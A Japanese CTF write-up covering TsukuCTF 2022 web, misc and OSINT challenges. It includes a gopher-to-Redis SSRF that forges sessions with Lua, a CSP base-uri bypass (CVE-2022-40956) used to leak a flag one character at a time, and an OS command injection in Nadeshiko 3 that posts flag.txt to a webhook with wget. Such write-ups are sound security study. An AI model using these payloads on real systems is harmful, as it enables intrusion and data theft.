docker-compose.yml でローカルに環境を立てて、gopher によるRedisへのSSRFができるか試してみる。流れはこうだ。まずは適当な neko というユーザ名で登録する。そして、Gopher://redis:6379/_EVAL… と、1文字目を大文字にして url_sanitizer をバイパスしつつ、gopher プロトコルでRedisサーバに EVAL コマンドを投げつける。EVAL ではランダムに生成したセッションIDをキーに、偽造した poyo というユーザ名のセッションデータを保存する。最後に、Cookie__SESSION_ID に今生成したセッションIDを入れてアクセスし、セッションを偽造できたか確認する。

import uuid
import requests

TARGET = 'localhost:31555'

i = str(uuid.uuid4())
s = requests.Session()
s.post(f'http://{TARGET}/register', data={
    'name': 'neko'
})
s.post(f'http://{TARGET}/', data={
    'url': f'''Gopher://redis:6379/_EVAL "return redis.call('set','{i}','{{\\"name\\":\\"poyo\\"}}')" 0%0d%0aQUIT%0d%0a'''
})

r = requests.get(f'http://{TARGET}/', cookies={
    '__SESSION_ID': i
})
print(r.text)

実行してみる。確かに、poyo というユーザ名のセッションが偽造できている。RedisへのSSRFが成功したようだ。

$ python3 t.py | grep Hello
        <h1>Hello, poyo</h1>

まだ問題は2つある。ひとつは、どうやってほかのセッションデータに紛れてしまっているフラグを見つけるかだ。もうひとつは、どうやって response_sanitizer などをバイパスしてフラグを出力させるかだ。

フラグを見つける方法について考える。せっかく EVAL が使えるのだから、KEYS * ですべてのキーを取得した後に、GET (キー) でその内容を取得し、もしフラグが含まれていれば SET (セッションID) (フラグを含むJSON) を実行させればよいのではないか。これを実装すると以下のようになった。

local k = redis.call('keys','*')
local v
for i, m in ipairs(k) do
  v = redis.call('get', m)
  if string.find(v, 'Tsuku') then
    return redis.call('set', '{i}', '{"name":"' .. '"name":"' .. v .. '"}')
  end
end

もうひとつの問題である、response_sanitizer などをバイパスする方法について考える。単純に、フラグから TsukuCTF を削除すればよいのではないか。ということで、今のLuaスクリプトに少し手を加えて、Tsukutsuku に置換するようにする。ついでに " を削除しているのは、JSONとして破綻しないようにするためだ。

local k = redis.call('keys','*')
local v
for i, m in ipairs(k) do
  v = redis.call('get', m)
  if string.find(v, 'Tsuku') then
    return redis.call('set', '{i}', '{"name":"' .. v:gsub('"', ''):gsub('Tsuku', 'tsuku') .. '"}')
  end
end

あとはこれを実行するだけだ。Pythonスクリプトにする。

import uuid
import requests
import re

TARGET = 'https://tsukuctf.sechack365.com/viewer'

i = str(uuid.uuid4())
s = requests.Session()
s.post(f'{TARGET}/register', data={
    'name': 'neko'
})

s.post(f'{TARGET}', data={
    'url': f'''Gopher://redis:6379/_EVAL "local k = redis.call('keys','*'); local v; for i, m in ipairs(k) do v = redis.call('get', m); if string.find(v, 'Tsuku') then return redis.call('set','{i}','{{\\"name\\":\\"' .. v:gsub('\\"',''):gsub('Tsuku','tsuku') .. '\\"}}'); end end;" 0%0d%0aQUIT%0d%0a'''
})
r = requests.get(f'{TARGET}', cookies={
    '__SESSION_ID': i
})

print(re.findall(r'Hello, (.+)<', r.text)[0].replace('tsuku', 'Tsuku'))

これを実行すると、フラグが得られた。

$ python3 s.py
{name:{id: bdf4486d-2989-4028-87a2-c1a025b28186, name: TsukuCTF22{ur1_scheme_1s_u5efu1}}}
TsukuCTF22{ur1_scheme_1s_u5efu1}

この問題は98ptsがfirst bloodだった。

[Web 500] leaks4b (3 solves)

ケーキをあいまい検索できます。 どれを注文するか迷ってしまいます!! ※フラグの形式は TsukuCTF22{[a-z]{7}} です。多数のリクエストを許容する問題ですが、数秒間隔をあけてください。配布されているソースは厳密なものではありません。フラグの提出回数は3回までとなっています。

ソースコード付き。ケーキの閲覧や注文ができるWebアプリケーションだ。

ケーキのURLを送信することで注文ができる。

app.py は以下のようになっている。

import os
import re
import secrets
from flask import Flask, abort, request
from playwright.sync_api import sync_playwright

app = Flask(__name__)

FLAG = os.getenv("FLAG", "TsukuCTF22{dummy_flag}")

# コンテナで試す場合は要編集 (ex. http://host.docker.internal:31416, http://gateway.docker.internal:31416)
URL = "http://localhost:31416"

def cssi_sanitizer(text):
    # XSS could be mitigated by CSP, but CSSi and ReDoS are dangerous.
    deny_list = ["stylesheet", "import", "image", "style", "flag", "link", "img", "\"", "$", "'", "(", ")", "*", "+", ":", ";", "?", "@", "[", "\\", "]", "^", "{", "}"]
    text = text.lower()
    if any([hack in text for hack in deny_list]):
        return "ハッキングケーキ"
    return text

menu = ["チョコレートケーキ, チョコケーキ, chocolatecake", "チーズケーキ, cheesecake", "バナナケーキ, bananacake"]

@app.route("/<path:path>")
def missing_handler(path):
    abort(404, "ページが見つかりません。\nごめんね(^^♪")

@app.route("/")
def top():
    cake = request.args.get("cake", "チョコレートケーキ")
    cake = cssi_sanitizer(cake[:100])
    flag = request.cookies.get("flag")
    # It is not expected to steal the cookie.
    # This is "leaks4b."
    if (flag == FLAG) and (re.findall(cake, FLAG)):
        img = "flag0.jpg"
    elif re.findall(cake, menu[0]):
        img = f"cake0.jpg"
    elif re.findall(cake, menu[1]):
        img = f"cake1.jpg"
    elif re.findall(cake, menu[2]):
        img = f"cake2.jpg"
    else:
        img = f"cake3.jpg"
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

            <div class="bg-gray-100 overflow-hidden rounded-lg shadow-lg relative mb-6 md:mb-8">
            <img src="/static/img/{img}">
            </div>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                食べたければ<a href="/order" class="text-blue-600 font-bold">ここ</a>から注文してください。
            </p>


        </div>
    </div>
</body>
</html>
"""


@app.route("/order", methods=["GET"])
def order_get():
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b<br> ~ Cake Order Page ~</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                以下から注文したいケーキのURLを送信してください。<br>
                ただし、パティシエは忙しいので大量の注文はやめてください。  
            </p>

            <form method="post" class="form">
            <div class="mb-6">
                <label class="text-gray-500 sm:text-lg mb-6 md:mb-8">URL</label>
                <input type="url" name="url" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5" placeholder="{URL}" required>
            </div>
            <button type="submit" class="text-white bg-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm w-full sm:w-auto px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-blue-700 dark:focus:ring-blue-800">Order</button>
            </form>

        </div>
    </div>
</body>
</html>
"""

@app.route("/order", methods=["POST"])
def order_post():
    url = request.form.get("url", "____")
    if not url.startswith("http"):
        return "[ERROR] http and https schemes are allowed."
    try:
        with sync_playwright() as p:
            browser = p.firefox.launch()
            context = browser.new_context()
            context.add_cookies([{"name": "flag", "value": FLAG, "httpOnly": True, "url": URL}])
            page = context.new_page()
            page.goto(url, timeout=10000)
            browser.close()
    except Exception as e:
        print(e)
        pass
    return "I received your cake order. Have the flag and wait for your cake!"


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31416)
    # ソース汚くてゴメンね(´;ω;`)

まずはフラグに関係する部分から見ていく。フラグは環境変数から取ってきている。

FLAG = os.getenv("FLAG", "TsukuCTF22{dummy_flag}")

フラグはこのソースコード中の2箇所で参照されているけれども、そのひとつめがこのケーキの閲覧ページだ。cake というクエリパラメータでケーキの種類を指定できるが、それが特定のケーキの種類であれば cake0.jpgcake1.jpg といった、ケーキに対応する画像を表示するようにしている。

そのケーキの種類を判定する処理が奇妙で、re.findall が使われている。この関数には第一引数として正規表現を、第ニ引数としてそれにマッチしているか確認したい文字列を渡すのだけれども、ここでは第一引数にユーザ入力の cake が、第ニ引数に チョコレートケーキ, チョコケーキ, chocolatecake などのサーバ側で定義されている文字列が渡されている。確かにそれで動くけれども、cake in menu[0] のような処理で十分なはずだ。

もうひとつ奇妙な点として、(flag == FLAG) and (re.findall(cake, FLAG)) ならば flag0.jpg という画像を表示する処理がある。もしCookieflag がフラグと一致していれば、かつ cake正規表現としたときにフラグとマッチしていればそうなるということだ。後者だけなら正規表現でちまちまフラグを手に入れられるので嬉しいが、前者はフラグを知らない我々には当てられるはずがないのでどうしようもない。

menu = ["チョコレートケーキ, チョコケーキ, chocolatecake", "チーズケーキ, cheesecake", "バナナケーキ, bananacake"]

# …

@app.route("/")
def top():
    cake = request.args.get("cake", "チョコレートケーキ")
    cake = cssi_sanitizer(cake[:100])
    flag = request.cookies.get("flag")
    # It is not expected to steal the cookie.
    # This is "leaks4b."
    if (flag == FLAG) and (re.findall(cake, FLAG)):
        img = "flag0.jpg"
    elif re.findall(cake, menu[0]):
        img = f"cake0.jpg"
    elif re.findall(cake, menu[1]):
        img = f"cake1.jpg"
    elif re.findall(cake, menu[2]):
        img = f"cake2.jpg"
    else:
        img = f"cake3.jpg"
    nonce = secrets.token_urlsafe(16)
    return f"""<!doctype html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';">
    <script src="https://cdn.tailwindcss.com" nonce="{nonce}"></script>
    <title>Leaks4b</title>
</head>
<body>
    <div class="bg-white py-6 sm:py-8 lg:py-12">
        <div class="max-w-screen-md px-4 md:px-8 mx-auto">
            <h1 class="text-gray-800 text-2xl sm:text-3xl font-bold text-center mb-4 md:mb-6">Leaks4b</h1>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

            <div class="bg-gray-100 overflow-hidden rounded-lg shadow-lg relative mb-6 md:mb-8">
            <img src="/static/img/{img}">
            </div>

            <p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                食べたければ<a href="/order" class="text-blue-600 font-bold">ここ</a>から注文してください。
            </p>


        </div>
    </div>
</body>
</html>
"""

フラグが参照されているもう一箇所はここ、ケーキの注文ページだ。ユーザから与えられたURLがもし http から始まっていればPlaywrightでFirefoxを起動し、アクセスさせる。問題サーバのホストに対して flag というCookieのキーでフラグを設定するという形で、フラグが参照されている。

Cookieflag というキーには聞き覚えがある。ケーキの閲覧ページの処理だ。これならさっきの条件分岐中の flag == FLAG という条件をクリアできるし、正規表現を使って、表示される画像が flag0.jpg かそれ以外かという情報からフラグを少しずつ入手できる。でも、どうやってどんな画像が表示されているかを観測すればよいのか。

@app.route("/order", methods=["POST"])
def order_post():
    url = request.form.get("url", "____")
    if not url.startswith("http"):
        return "[ERROR] http and https schemes are allowed."
    try:
        with sync_playwright() as p:
            browser = p.firefox.launch()
            context = browser.new_context()
            context.add_cookies([{"name": "flag", "value": FLAG, "httpOnly": True, "url": URL}])
            page = context.new_page()
            page.goto(url, timeout=10000)
            browser.close()
    except Exception as e:
        print(e)
        pass
    return "I received your cake order. Have the flag and wait for your cake!"

ケーキの閲覧ページをよく見ると、HTML Injectionがあることがわかる。出力されるHTMLのテンプレートの一部を抜粋する。ここまででユーザ入力である cake から <> を削除する処理はない。ただし、厳しいCSPがあるため、HTML InjectionがあったとしてもJavaScriptコードの実行などはできない。

    <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-{nonce}'; base-uri 'none'; connect-src 'none'; font-src 'none'; form-action 'none'; frame-src 'none'; object-src 'none'; require-trusted-types-for 'script'; worker-src 'none';"><p class="text-gray-500 sm:text-lg mb-6 md:mb-8">
                <span class="text-red-600">{cake}</span>を見せてあげます🍰<br>
                絶対に食べたらだめですからね!!<br>
            </p>

また、この cake は、事前に cake = cssi_sanitizer(cake[:100]) という処理によって一部の危険な文字列が含まれる場合には「ハッキングケーキ」という文字列が与えられたものとして扱うようになっている。ハッキングケーキってなに?

def cssi_sanitizer(text):
    # XSS could be mitigated by CSP, but CSSi and ReDoS are dangerous.
    deny_list = ["stylesheet", "import", "image", "style", "flag", "link", "img", "\"", "$", "'", "(", ")", "*", "+", ":", ";", "?", "@", "[", "\\", "]", "^", "{", "}"]
    text = text.lower()
    if any([hack in text for hack in deny_list]):
        return "ハッキングケーキ"
    return text

ではどうするか。試しにWebhook.siteで生成したURLを「注文」してみると、Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0 というUser-Agentでアクセスが来た。Firefoxなのは知っていたが、2022年10月22日現在の最新のバージョンは106.0.1なのでやや古い。Firefox 104.0になにか脆弱性はないだろうか。

Mozillaのセキュリティアドバイザリを見ると、Firefox 105.0でいくつか脆弱性が修正されていることがわかる。そのうちのひとつであるCVE-2022-40956base-uri のCSPバイパスとあり、気になる。報告者も "Satoki Tsuji" さんで、つまりはこれはTsukuCTFの作問者であるSatokiさんが報告した脆弱性だ。怪しい。

mozilla-central でBugzillaの番号である 1770094 を検索して見つかった、この脆弱性を修正したdiffを確認すると、どんなものだったかわかる。CSPで base-uri が指定されていたとしても、それを無視して base 要素による設定を反映した上でリソースの先読みをしてしまうというものだったっぽい。

CSPバイパスができるのは「先読み」時に限られるのであまり悪用できるシチュエーションが思い浮かばないが、少なくともこの問題では役立つ。base 要素で自分の管理下にあるサーバを指定してやると、先読みによって http://(自分の管理下にあるサーバ)/static/img/(画像のパス) を取得しに来るはずだ。これなら、flag0.jpg やら cake0.jpg やらのケーキの画像について、どれが表示されたかがわかる。

これで材料は揃った。クエリパラメータの cake(試したい正規表現)|<base href=//(自分の管理下にあるサーバのホスト名)/> を入れたURLを「注文」すると、もしフラグにマッチしていれば /static/img/flag0.jpg に、そうでなければそれ以外のパスにリクエストが来るはずだ。試してみる。

/?cake=.suku...22|%3Cbase%20href=//(省略)/%3E を報告すると、確かに /static/img/flag0.jpg へのアクセスが来た。/?cake=.suko...22|%3Cbase%20href=//(省略)/%3E では /static/img/cake3.jpg へのアクセスが来た。これならいけそうだ。

これを自動化して、フラグを少しずつ抽出するスクリプトを書こう。

import string
import requests
from flask import Flask, Response

YOUR_HOSTNAME = '(省略)'
TARGET = 'http://133.130.96.134:31416/'

app = Flask(__name__)

flag = '.suku...22.'
current_char = None
done = None
@app.route('/static/img/<path:path>')
def get_image(path):
    global done
    if path == 'flag0.jpg':
        done = True
    return 'ok'

def go():
    global flag, current_char, done
    for _ in range(7):
        done = False
        for current_char in string.ascii_lowercase:
            url = f'{TARGET}?cake={flag}{current_char}|<base href=//{YOUR_HOSTNAME}/>'
            print(f'{url=}')
            requests.post(f'{TARGET}/order', data={
                'url': url
            })
            if done:
                flag += current_char
                print(f'{flag=}')
                break
            yield '.' 
        yield '\n' 

@app.route('/start')
def start():
    resp = Response(go())
    resp.content_type = 'text/plain; charset=utf-8'
    return resp

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=80)

実行してしばらく待つとフラグが得られる。

$ python3 solve.py
 * Debugger is active!
…
url='http://133.130.96.134:31416/?cake=.suku...22.a|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:37] "GET /static/img/cake3.jpg HTTP/1.1" 200 -
url='http://133.130.96.134:31416/?cake=.suku...22.b|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:41] "GET /static/img/cake3.jpg HTTP/1.1" 200 -
url='http://133.130.96.134:31416/?cake=.suku...22.c|<base href=//(省略)/>'
133.130.96.134 - - [23/Oct/2022 08:11:44] "GET /static/img/flag0.jpg HTTP/1.1" 200 -
flag='.suku...22.c'
…
flag='.suku...22.cakeuma'
TsukuCTF22{cakeuma}

4bとは。この問題は98ptsがfirst bloodだった。すべてのWeb問でfirst bloodが取れて嬉しい。実は今回使った脆弱性Mozillaがアドバイザリを出した直後ぐらいから把握していて、CTFで出そうだとも別に考えないまま、パッチの確認からPoCを書いての検証までやっていた。ptr-yudaiさんが「ほぼ100%これが出る」と予言していたけれども、本当に出た。

このwriteupではフラグを特定する作業を自動化しているけれども、本番ではWebサーバのアクセスログを見つつ手作業で頑張っていた。そっちの方が早いと思ったので*4

[Misc 500] nako3ndbox (6 solves)

に・ほ・ん・ご・で・あ・そ・ぼ

nc tsukuctf.sechack365.com 31418

以下のようななでしこのコードが与えられる。これがサーバで動いているようだ。やっていることは単純で、ユーザが入力した文字列をなでしこコードとしてeval(つまり、「ナデシコ」命令を実行)する。ただし、「読」や「開」などフラグが読み出せそうな命令が含まれている場合には実行されない。

「------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------」と言う

「日本語コード:」と尋ねる
それを入力に代入

ブラックリスト=「読、開、保存、実行、起動、サーバ、フォルダ、ファイル、ナデシコ、ディレクトリ、flag」を「、」で区切る

ブラックリスト!=空の間
  ブラックリストの0から1を配列取り出す
  もし(入力でそれの出現回数)!=0ならば
    「日本語の世界からは出しませんよ!!!」と言う
    終了する
  ここまで
ここまで

「{入力}」をナデシコする

終了する

マニュアルの命令一覧を眺めるが、フィルターをバイパスしつつフラグを読み出せそうな命令は見つからない。ふるつきさんが「圧縮解凍ツールパス」という変数を変更しつつ「解凍」という命令を実行すると好きなコマンドが実行できるという性質を利用して色々試していたものの、付いてくるオプションが邪魔でなかなかうまくいっていなかった。

なでしこ3といえば、最近いくつか脆弱性が見つかっていた。そのひとつは「圧縮」「解凍」命令でOSコマンドインジェクションができるというものだ。詳しく知りたい。その前にとりあえず問題環境で動いているなでしこのバージョンを調べてみたが、v3.3.67らしい。これはJVNに書かれている情報によれば脆弱性が修正されているバージョンであるはず。

$ cnako3 --version
v3.3.67

ここでptr-yudaiさんから、1回目の修正が不十分で、何度か追加で修正が入っていたという情報の共有があった。リリースログを見ていくと、問題環境で動いているバージョンよりあとのv3.3.69でもこの脆弱性の修正がされている。

修正をしているコミットを確認する。diffを読むと、まず引数のエスケープが不十分であったことに起因するOSコマンドインジェクションであることがわかる。興味深いことに、テストケースとしてそのまま使えそうなコードが含まれている。

これを元に、試しに以下のようななでしこコードを実行する。

「\'a\';touch hoge;#\'」から「a」に解凍

問題の環境を確認すると、hoge というファイルが作られている。OSコマンドインジェクションができているようだ。

$ docker exec -it nako3ndbox-nako3ndbox-1 ls
app.nako3  flag.txt
$ nc localhost 31418
------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------
日本語コード:「\'a\';touch hoge;#\'」から「a」に解凍
/bin/sh: 7z: not found

$ docker exec -it nako3ndbox-nako3ndbox-1 ls
app.nako3  flag.txt   hoge

実行するOSコマンドを wgetflag.txt をWebhook.siteにアップロードするものに変える。

$ nc tsukuctf.sechack365.com 31418
------------------------------------------------------------
             _        _____           _ _
 _ __   __ _| | _____|___ / _ __   __| | |__   _____  __
| '_ \ / _` | |/ / _ \ |_ \| '_ \ / _` | '_ \ / _ \ \/ /
| | | | (_| |   < (_) |__) | | | | (_| | |_) | (_) >  <
|_| |_|\__,_|_|\_\___/____/|_| |_|\__,_|_.__/ \___/_/\_\

------------------------------------------------------------
日本語コード:「\'a\';wget https://webhook.site/(省略) --post-file=fla」&「g.txt」&「;#\'」から「a」に解凍
/bin/sh: 7z: not found
Connecting to webhook.site (46.4.105.116:443)
saving to '(省略)'
'(省略)' saved

Webhook.siteの方を確認すると、フラグがアップロードされていた。

TsukuCTF22{y0u_jump3d_0u7_0f_j4p4n353}

こちらもleaks4bと同じように、Satokiさんが発見された脆弱性を題材にした問題だった。やはりptr-yudaiさんが出そうだとCTFの開始前から予言していて、脆弱性を修正するコミットも調べて把握しつつ、なでしこを使う問題が出たら要注意だという話になっていた。

[OSINT 375] sky (113 solves)

帰ってくるあなたが最高のプレゼント。つくし君は電車にガタゴト揺られています。次の停車駅で降りるようなのですが、どこかわかりますか? ※フラグの形式は TsukuCTF22{次の停車駅} です。公式サイトの表記を採用します(スペースは含めません)。

新幹線か特急か、座り心地のよさそうな電車の座席で撮られた写真が与えられる。CentXというアプリの広告があることから、おそらく撮影地は名古屋だろうなあと推測する。Google Lensで検索してみると、ミュースカイという名古屋鉄道の特急の座席の写真が出てきた。写真のものとよく似ている。何も考えずに「名鉄名古屋」と「中部国際空港」の両方を試したところ、前者が当たりだった。

TsukuCTF22{名鉄名古屋}

[OSINT 406] Where (98 solves)

北海道に住んでいるつくしさんは東京旅行に行った際に高層ビルの窓から写真を撮りました。

でも撮影した場所を忘れてしまったようです。この写真が撮影された場所について建物名を教えてあげてください。

フラグはこの建物の開業日(YYYY/MM/DD)です。たとえば、東京スカイツリーの開業日は2012年5月22日なので、フラグは TsukuCTF22{2012/05/22} となります。

問題文から東京で撮影された写真であることがわかる。写真中央に大きく写っている2棟の高層ビル(と1棟の建設中の高層ビル)が特徴的であるように見える。Google Lensで切り取って検索すると、ど真ん中の高層ビルは渋谷ヒカリエであることがわかる。その隣りにあるのは渋谷スクランブルスクエアだろう。

これらの高層ビルや、マルイや西武などの建物を一度に写せるような場所はどこだろうか。Google Earthはとても便利で、地図を回転させつつ、建物の高さなどからどこから撮れそうか推測できる。近くにある高層ビルで、かつ渋谷ヒカリエなどの建物が与えられた写真のように撮れるのは渋谷パルコだ。渋谷パルコの開業日はWikipediaに「1973年6月14日」と書かれている。本当にそうかは知らないが、フラグが受理されたので勝ちだ。

TsukuCTF22{1973/06/14}

[OSINT 433] Gorgeous Interior Bus (83 solves)

観光地に来たつくし君は、豪華なバスを見かけたので、それに乗って観光することにしました。 その時、つくし君のお母さんから「どこにいるの?」と連絡が着ましたが、おっちょこちょいなつくし君は、観光地の名前も、乗っているバスの路線も忘れてしまい、とっさに車内の写真を撮って、「ここ」と返信しました。 つくしくんはどこにいるのでしょうか? つくしくんが写真を撮ったところに最も近い交差点の名前を特定してください。

※フラグの形式は TsukuCTF22{交差点の名前} です。

問題名の通りに、めっちゃ豪華な内装のバスの写真が与えられている。天井からミラーの裏側まで色々なところに花が描かれている。この絵をGoogle Lensで検索してやると、熱海を走っている「湯~遊~バス」の「彩」という車両であることがわかった

さて、重要なのはこれがどの交差点の近くで撮られたかだ。まずバスがどのようなルートで走っているか確認すると、運行ルートが見つかった。車両前方のディスプレイに表示されている次に停まるバス停の情報と照らし合わせると、このバスは今後銀座 → 親水公園 → マリンスパあたみという順番で停まることがわかる。つまり、サンビーチから銀座までの間にこの写真を撮影した地点があるはずだ。

ストリートビューを使って同じルートをたどる。見つけた。写っている店舗のアクセスから、この交差点は東海岸町交差点であるとわかった。

TsukuCTF22{東海岸町}

[OSINT 446] Bringer_of_happpiness (75 solves)

つくしくんは荷物を運び終えて休憩してるときに撮った写真。さて撮影場所はどこだろう?

※フラグの形式は TsukuCTF22{緯度_経度} です。ただし、緯度経度は十進法で小数点以下五桁目を切り捨てたものとします。

おそらく駅の近くで、踏切の前から撮影された写真が与えられる。右側には黄色い車体の鉄道車両が見える。Google Lensでこの鉄道車両を切り取って検索してみると、島原鉄道のとてもよく似た車両の写真がヒットする。ただ、これだけでは撮影地を絞りきれない。

よく見ると、踏切の向こう側の建物の前に、「J-C…」や「パチン…」、「スロ…」と書かれたのぼりが立っている。そういう名前のパチンコなどのお店があるのだろうか。「パチンコ 島原」でググって出てくる店舗を探していると、J-コーストという店舗が見つかった。島原港駅すぐ近くで、ロゴなども一致する。

与えられた写真と同じような構図の場所をストリートビューで探すと、見つかった

TsukuCTF22{32.7691_130.3706}

[OSINT 454] Desk (69 solves)

つくし君の大好きなお姉さんのデスクを見学させてもらったよ。 さて、このデスクはどこにあるのだろうか?

フラグ形式は写真が撮影された場所の郵便番号(ハイフンを除く)を入れて下さい。例えば撮影された場所が東京都庁の場合、郵便番号は163-8001なので TsukuCTF22{1638001} となります。

「(塗りつぶされて読めなくなっている)のデスク」と書かれた紙が置かれた机と椅子の写真が与えられる。机の上にはなにか書かれていそうな資料も置かれていて、そこには沖縄本島が描かれている。写真右下にはゆるキャラなのかなんなのか、とにかくキャラクターが描かれている。

Google Lensで右下のキャラクターを検索すると、ヒットした。沖縄県南城市なんじぃというキャラクターらしい。雑に「南城市 デスク」で検索してみると、このデスクが「久高夏凛さんのデスク」だというツイートがヒットした。ご丁寧にハッシュタグとして撮影地も書かれている。がんじゅう駅・南城だ。ググると郵便番号が出てくる。

TsukuCTF22{9011511}

[OSINT 482] banana (44 solves)

つくし君は、ある女の子のSNSアカウントを眺めています。 つくし「この場所を特定して僕も同じ場所の同じ構図で写真を撮りたい!」

つくし君の願いを叶えるべく、この場所を特定してあげましょう。 ※フラグの形式は TsukuCTF22{緯度_経度} です。ただし、緯度経度は十進法で小数点以下五桁目を切り捨てたものとします。

サングラスをかけたバナナ人間の絵と撮った写真が与えられる。Google Lensで右側に写っているバナナ人間を検索してもよい情報は得られなかったが、一見情報は得られなさそうな左側に写っている文字を検索するとまさにそこだという写真がヒットした。グアムのウォールアートらしい。検索結果として出てきた記事をもっと見てみると、撮影した場所がデデド朝市会場のトイレだとわかった。

TsukuCTF22{13.5210_144.8287}

[OSINT 488] TsukuCTF Big Fan 1 (36 solves)

彼はTsukuCTFの大ファンで、TsukuCTFのあらゆるコンテンツを確認しています。 私は彼と一緒にTsukuCTFに参加しようと思っています。しかし、私は彼の実力をあまり知りません。 まずは彼のTwitterのアカウントを特定し、そのアカウントのアカウント作成日を求めてください。 フラグ形式は TsukuCTF22{YYYY/MM/DD} です。

He is a big TsukuCTF fan and checks all the content of TsukuCTF. I am planning to participate in the TsukuCTF with him. But I don't know much about his ability. First, specify his Twitter account and ask for the date the account was created. The flag format is TsukuCTF22{YYYY/MM/DD}.

次のようなDiscordのメッセージのスクリーンショットが与えられる。ただ、TsukuCTFの公式Discordサーバでユーザの一覧を探してみても、ToshiKu というユーザは確認できなかった。ユーザタグも特定するのは面倒くさそうだ。

TsukuCTFのファンということで、彼がTsukuCTFのTwitterアカウントをフォローしているのではないかと思った。フォロワーを上から順番に見ていくと、あった。@SuperProStalkerだ。

cache:https://twitter.com/superprostalker を検索してキャッシュを表示し、HTMLを確認する。"dateCreated": "2021-11-29T07:52:58.000Z" という情報から、このTwitterアカウントが作られた日付を特定できた。

TsukuCTF22{2021/11/29}

[OSINT 500] TsukuCTF Big Fan 2 (6 solves)

彼はWebサイトを運営しているようです。

He appears to be running a web site.

今度は串田の運営しているWebサイトでなにかする必要があるらしい。まずはそのURLを特定したい。彼はいくつかWebサイトに関係しそうな意味深なツイートを残している。xn といえばPunycodeだ。適当なツールでデコードすると、これは つくctf.com というドメイン名だとわかった。

早速 つくctf.com にアクセスしてみたが、Rickrollされてしまう。

$ curl -i つくctf.com
HTTP/1.1 302 Found
Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ
Date: Sat, 22 Oct 2022 19:58:41 GMT
Content-Type: text/html; charset=UTF-8
Server: ghs
Content-Length: 240
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">
<TITLE>302 Moved</TITLE></HEAD><BODY>
<H1>302 Moved</H1>
The document has moved
<A HREF="https://www.youtube.com/watch?v=dQw4w9WgXcQ">here</A>.
</BODY></HTML>

うーんと思ったが、このWebサイトにHTTPSでアクセスできることに気づく。証明書はどうなっているのだろう。crt.shで確認してみると、this-is-flag-site.xn--ctf-073b6d.com というドメイン名が確認できた。

this-is-flag-site.xn--ctf-073b6d.com にアクセスするとフラグが得られた。

TsukuCTF22{wh47_15_4_pun1c0d3?}

[OSINT 500] TsukuCTF Big Fan 3 (18 solves)

When is his birthday? The flag format is TsukuCTF22{YYYY/MM/DD}.

今度は誕生日だ。彼はほかにもいくつか気になるツイートを残している。まずはこれだが、彼に関する情報を含んでいるらしいツイートを引用リツイートしている。しかしながら、引用しているツイートはすでに削除されてしまっている。

Wayback Machineでこのツイートがアーカイブされていないか調べてみたところ、あった

